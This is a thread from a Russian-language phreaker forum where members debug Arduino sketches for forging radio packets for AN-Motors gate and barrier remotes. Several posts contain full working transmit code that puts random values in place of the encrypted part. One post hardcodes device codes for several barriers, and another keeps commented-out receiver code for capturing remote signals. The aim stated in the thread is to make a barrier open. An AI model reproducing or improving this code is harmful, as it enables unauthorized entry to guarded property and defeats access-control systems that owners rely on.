Форум
 

Вернуться   Форум "Фрикер Клуб" - кодграббер своими руками > Основной раздел > Песочница

Важная информация

Ответ
 
Опции темы Опции просмотра
Старый 01.03.2018, 12:01   #21
heat Меню Пользователя
Член клуба
 
Регистрация: 12.10.2017
Сообщений: 141
По умолчанию Re: не получается по скетчу для ардуинки...помогиитее))

на мой взгял это специальный сенд с псевдорандомом мохнатень . я б стандартный килок сенд запилил с сбором псевдо случайного набора который крутится по кругу
heat вне форума   Ответить с цитированием
Старый 01.03.2018, 12:14   #22
EPA Меню Пользователя
Супер Модератор
 
Аватар для EPA
 
Регистрация: 01.11.2016
Сообщений: 1,265
По умолчанию Re: не получается по скетчу для ардуинки...помогиитее))

По идее такого понятия как random в процессорах не бывает. Если поссмотреть кишки этой данной функции, то мона увидеть чёткий алгоритм где просто так с потолка цифры не берутся. Согласен, в данном случае -это мохнатень.
EPA вне форума   Ответить с цитированием
Старый 01.03.2018, 20:01   #23
3230_nokia_92 Меню Пользователя
Гость клуба
 
Регистрация: 17.02.2018
Сообщений: 7
По умолчанию Re: не получается по скетчу для ардуинки...помогиитее))

Цитата:
Сообщение от Waik
Поправил на коленке. До сих пор ужасно, но уже не так
Код:
/// v3
#define rxPin 2 // сюда у нас подключен приемник
#define txPin A3 // а сюда передатчик
#define MAX_DELTA 200 // это максимальное отклонение от длительности Pe при приеме
#define Pe 413
#define Pe2 Pe*2
 
void setup() {
  pinMode(rxPin, INPUT);
  pinMode(txPin, OUTPUT);
  Serial.begin(9600);
  //while (!Serial);
  Serial.println("AN MOTORS наклонятор запущен");
  randomSeed(analogRead(0));
}
 
void loop() {
  SendANMotors(0x69F5CE23);
  delay(5000);
  
  SendANMotors(0x69F5CE22);
  delay(5000);
    
  SendANMotors(0x69F5CE21);
  delay(5000);
  
  SendANMotors(0x69F5CE24);
  delay(5000);
}
 
 
void SendANMotors(long c2)
{
  noInterrupts(); // временно отключаем перехват пакетов, чтобы не перехватывать собственные отправки
  for (int j = 0; j < 4; j++)
  {
    // отправляем 12 начальных импульсов 0-1
    for (int i = 0; i < 12; i++) {
      delayMicroseconds(Pe);
      digitalWrite(txPin, HIGH);
      delayMicroseconds(Pe);
      digitalWrite(txPin, LOW);
    }
    delayMicroseconds(Pe * 10);
    // отправляем первую половину
    for (int i = 4 * 8; i > 0; i--) SendBit(bitRead(0x20220000 + 0x101 * random(0xff), i - 1));
    // вторую половину
    for (int i = 4 * 8; i > 0; i--) SendBit(bitRead(c2, i - 1));
    // и еще пару ненужных бит, которые означают батарейку и флаг повтора
    SendBit(1);
    SendBit(1);
    delayMicroseconds(Pe * 39);
    Serial.println("ОТПРАВЛЕНО");
    Serial.println(c2, HEX);
  }
  interrupts();
}
 
void SendBit(byte b) {
  if (b == 0) {
    digitalWrite(txPin, HIGH); // 0
    delayMicroseconds(Pe2);
    digitalWrite(txPin, LOW);
    delayMicroseconds(Pe);
  }
  else {
    digitalWrite(txPin, HIGH); // 1
    delayMicroseconds(Pe);
    digitalWrite(txPin, LOW);
    delayMicroseconds(Pe2);
  }
}

из этого кода я понял только одно)) что оно будет отправлять коды, но только вторую часть будет менять. это полюбому не пойдет. пример кода будет ниже, но! на каждый шлакбаум идет своя кнопка на пульте, т.е. если это третья кнопка, то в части С1 - в коде будет 4е число - номер кнопки, соответственно в части С2 - последнее значение тоже номер кнопки. значит, что 2022afaf и вторая часть должна быть 69F5CE22. если вторая часть будет 69F5CE24 , а первая 2022**** то из за несовпадения четвертой и последней цифер в коде - шлак не откроется.
3230_nokia_92 вне форума   Ответить с цитированием
Старый 01.03.2018, 20:29   #24
EPA Меню Пользователя
Супер Модератор
 
Аватар для EPA
 
Регистрация: 01.11.2016
Сообщений: 1,265
По умолчанию Re: не получается по скетчу для ардуинки...помогиитее))

Первая половина внутри функции рандомится . Присмотрись внимательно, как бабушка в анекдоте: "...смотрю сношаються, присмотрелась-еб*тся. ..."Шутка
И кстати: у Waik'а эта приблуда работает и есшо с мини дисплеем на борту насколько я знаю.

Последний раз редактировалось EPA; 01.03.2018 в 23:46.
EPA вне форума   Ответить с цитированием
Старый 03.03.2018, 13:36   #25
3230_nokia_92 Меню Пользователя
Гость клуба
 
Регистрация: 17.02.2018
Сообщений: 7
По умолчанию Re: не получается по скетчу для ардуинки...помогиитее))

Цитата:
Сообщение от EPA
Первая половина внутри функции рандомится .

рандомится какая часть? как я понял 2022---- остается неизменной, рандомится только оставшаяся часть) а мне нужно так, чтоб кроме рандома еще и первая часть менялась и совпадала со второй частью кода от шлакбаума) т.е. если 2022---- то и код чтоб в конце совпадал) чтоб на второй части последняя цифра совпадала с первой частью

2022afaf 33AFDE22
2023bxbx 33AFDE23
20210404 33AFDE21
2024eaea 33AFDE24

вот подчеркнутые символы совпадать должны, иначе ан-моторс меня пошлет)) а в этом коде, как я понял, только рандомится вторая половина от части с1 ) а первая половина не изменна остается для всех остальных частей c2 ) а значит 2022**** подойдет только для одного из четырех кодов) в принципе, шлакбаум только один будет открываться))
3230_nokia_92 вне форума   Ответить с цитированием
Старый 04.03.2018, 17:29   #26
Waik Меню Пользователя
Вступил в клуб
 
Регистрация: 15.07.2015
Сообщений: 37
По умолчанию Re: не получается по скетчу для ардуинки...помогиитее))

Давно бы уже прошили и проверили в поле.
Иначе бесконечно будем рассуждать "взлетит" или "не взлетит", тем более если вы смогли самостоятельно найти какие-то ошибки то и исправить их можно постараться самостоятельно, а нам рассказать о результатах.

Вам тут кода накидали несколько вариантов а вы все теории строите.

Цитата:
Waik'а эта приблуда работает и есшо с мини дисплеем на борту насколько я знаю.

Работет, только до конца не допилена)
Waik вне форума   Ответить с цитированием
Старый 04.03.2018, 23:42   #27
heat Меню Пользователя
Член клуба
 
Регистрация: 12.10.2017
Сообщений: 141
По умолчанию Re: не получается по скетчу для ардуинки...помогиитее))

там рандомится шифрованая часть что за бред ? почему в примере пакет перемешан ? то есть анмоторс псевдокилок - вообще без шифрованой части . вместо этой части там рандом
heat вне форума   Ответить с цитированием
Старый 11.02.2019, 17:55   #28
Dmitry Kireev Меню Пользователя
Гость клуба
 
Регистрация: 20.09.2018
Сообщений: 2
По умолчанию Re: не получается по скетчу для ардуинки...помогиитее))

/// v3
#define rxPin 2 // сюда у нас подключен приемник
#define txPin A3 // а сюда передатчик
#define MAX_DELTA 200 // это максимальное отклонение от длительности Pe при приеме
#define Pe 413
#define Pe2 Pe*2

//создаем массив с кодами устройств
long MyCode[]{0x281B0000, 0x502EB6F4, 0x56650000, 0xA9CA7E44, 0x71030000, 0xF35B9EA8, 0x50B60000, 0xF35B9EA8, 0x19830000, 0xF69B9EA7};
int arrayVal;//переменная для расчета количества циклов
boolean flag=0;

void setup() {
arrayVal=(sizeof(MyCode)/4)-1;//расчитываем длинну массива и сразу вычитаем 1, тк нумерация элементов массива начинается с нуля
pinMode(13,0x2);
pinMode(rxPin, INPUT);
pinMode(txPin, OUTPUT);
Serial.begin(921600);
//while (!Serial);
Serial.println("AN MOTORS наклонятор запущен");
randomSeed(analogRead(0));//генерируем случайное число
// запускаем перехват пакетов
// attachInterrupt(1, grab, CHANGE); // обратите внимание на первый параметр - если у вас другая ардуина, он может быть не 1, а 0!
interrupts();//разрешаем прерывание
}

void loop() {
if(!digitalRead(13)||flag){flag=1;
for (int i=0;i<arrayVal;i+=2){//создаем цикл в котором будем перебирать коды массива
//левая кнопка - 2 (в с1 4 символ и в с2 - последний)
// в с1 последние 4 цифры надо сделать нулями - туда мы воткнем ранодмую составляющую
long c1 = MyCode[i] + 0x101 * random(0xff); // AN-MOTORS хотят рандом - получит рандом, первое число кода
long c2 = MyCode[i+1];//второе число кода
SendANMotors(c1, c2);//вызываем функцию отправки пакетов и передаем в нее наши коды
Serial.println("ОТПРАВЛЕНО:");
Serial.print(c1, HEX);
Serial.print(" ");
Serial.println(c2, HEX);
Serial.println();
delay(200);//пауза между отправкой кодов
}flag=0;}
delay(5000);//ждем 5 секунд после отправки всех кодов
}


void SendANMotors(long c1, long c2)
{
noInterrupts(); // временно отключаем перехват пакетов, чтобы не перехватывать собственные отправки
for (int j = 0; j < 2; j++)
{
// отправляем 12 начальных импульсов 0-1
for (int i = 0; i < 12; i++) {
delayMicroseconds(Pe);
digitalWrite(txPin, HIGH);
delayMicroseconds(Pe);
digitalWrite(txPin, LOW);
}
delayMicroseconds(Pe * 10);
// отправляем первую половину
for (int i = 4 * 8; i > 0; i--) {
SendBit(bitRead(c1, i - 1));
}
// вторую половину
for (int i = 4 * 8; i > 0; i--) {
SendBit(bitRead(c2, i - 1));
}
// и еще пару ненужных бит, которые означают батарейку и флаг повтора
SendBit(1);
SendBit(1);
delayMicroseconds(Pe * 39);
}
interrupts();
}

void SendBit(byte b) {
if (b == 0) {
digitalWrite(txPin, HIGH); // 0
delayMicroseconds(Pe2);
digitalWrite(txPin, LOW);
delayMicroseconds(Pe);
}
else {
digitalWrite(txPin, HIGH); // 1
delayMicroseconds(Pe);
digitalWrite(txPin, LOW);
delayMicroseconds(Pe2);
}
}

// все что ниже касается приема
/*прием нам не нужен
volatile unsigned long prevtime;
volatile unsigned int lolen, hilen, state;
volatile static byte bcounter = 0; // количество принятых битов
volatile static long code1 = 0; // зашифрованная часть
volatile static long code2 = 0; // фиксированная часть
boolean CheckValue(unsigned int base, unsigned int value)
{
return ((value == base) || ((value > base) && ((value - base) < MAX_DELTA)) || ((value < base) && ((base - value) < MAX_DELTA)));
}

void grab() {
state = digitalRead(rxPin);
if (state == HIGH)
lolen = micros() - prevtime;
else
hilen = micros() - prevtime;
prevtime = micros();

if (state == HIGH)
{
// последовательность закончилась
if (CheckValue(Pe, hilen) && CheckValue(Pe2, lolen)) // valid 1
{
if (bcounter < 32)
code1 = (code1 << 1) | 1;
else if (bcounter < 64)
code2 = (code2 << 1) | 1;
bcounter++;
}
else if (CheckValue(Pe2, hilen) && CheckValue(Pe, lolen)) // valid 0
{
if (bcounter < 32)
code1 = (code1 << 1) | 0;
else if (bcounter < 64)
code2 = (code2 << 1) | 0; bcounter++;
}
else
bcounter = 0;
}
if (bcounter >= 65)
{
Serial.print("Перехвачено: ");
Serial.print(code1, HEX);
Serial.print(" ");
Serial.println(code2, HEX);

bcounter = 0;
code1 = 0;
code2 = 0;
}
}*/
Dmitry Kireev вне форума   Ответить с цитированием
Старый 11.02.2019, 19:19   #29
EPA Меню Пользователя
Супер Модератор
 
Аватар для EPA
 
Регистрация: 01.11.2016
Сообщений: 1,265
По умолчанию Re: не получается по скетчу для ардуинки...помогиитее))

Это, братец, листинг скинул. И чё? Всмысле тута не экстрасенсы . В чём смысл твоего поста?

Добавлено через 8 минут
Serial.begin(921600); с такой скоростью 921600 твой usart закашляет, если у тебя стандартная ардуино платформа.

Добавлено через 2 минуты
Не придумывал бы велосипед, на форуме лежат рабочие исходники на твой анмоторс.
EPA вне форума   Ответить с цитированием
Ответ

Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.



Текущее время: 02:27. Часовой пояс GMT +3.


vBulletin 4.1.0 Перевод: zCarot
(C) www.phreakerclub.com
Яндекс.Метрика